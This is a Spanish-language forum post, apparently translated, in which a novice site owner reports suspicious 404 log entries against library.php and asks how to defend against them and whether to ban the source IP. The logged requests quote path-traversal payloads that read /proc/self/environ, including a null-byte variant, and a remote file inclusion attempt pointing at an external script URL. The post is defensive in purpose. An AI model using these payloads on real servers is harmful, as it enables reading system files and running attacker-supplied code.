Mirando a través de mis registros 404, noté las siguientes dos URL, las cuales ocurrieron una vez:
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
y
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00
La página en cuestión library.php
requiere una type
variable con media docena de valores aceptables diferentes, y luego una id
variable. Entonces, una URL válida podría ser
library.php?type=Circle-K&id=Strange-Things-Are-Afoot
y todos los identificadores se ejecutan mysql_real_escape_string
antes de usarse para consultar la base de datos.
Soy un novato, pero me parece que estos dos enlaces son simples ataques contra el webroot.
1) ¿Cómo proteger mejor contra este tipo de cosas además de un 404?
2) ¿Debo permaban la (s) IP (s) responsable (s)?
EDITAR: también acabo de notar este
/library.php=http://www.basfalt.no/scripts/danger.txt
EDIT 2: La IP ofensiva para los 3 ataques fue la 216.97.231.15
que se remonta a un ISP llamado Lunar Pages ubicado a las afueras de Los Ángeles.
EDITAR 3: He decidido llamar al ISP el viernes por la mañana, hora local, y discutir el problema con quien pueda llamar por teléfono. Publicaré los resultados aquí en aproximadamente 24 horas.
EDITAR 4: Terminé enviando correos electrónicos a sus administradores y ellos respondieron primero que "lo estaban investigando" y luego un día después con "este problema debería resolverse ahora". No hay más detalles, lamentablemente.
type
le dice al script que incluye usar (aunque a través de un IF $_GET['type'] == 'thing') {} ESLE...
, no como un enlace directo como include 'type.php'
) y id
se ejecuta a través de mysql_real_escape_string y eso se usa para consultas. Sabiendo eso, ¿sigo a salvo?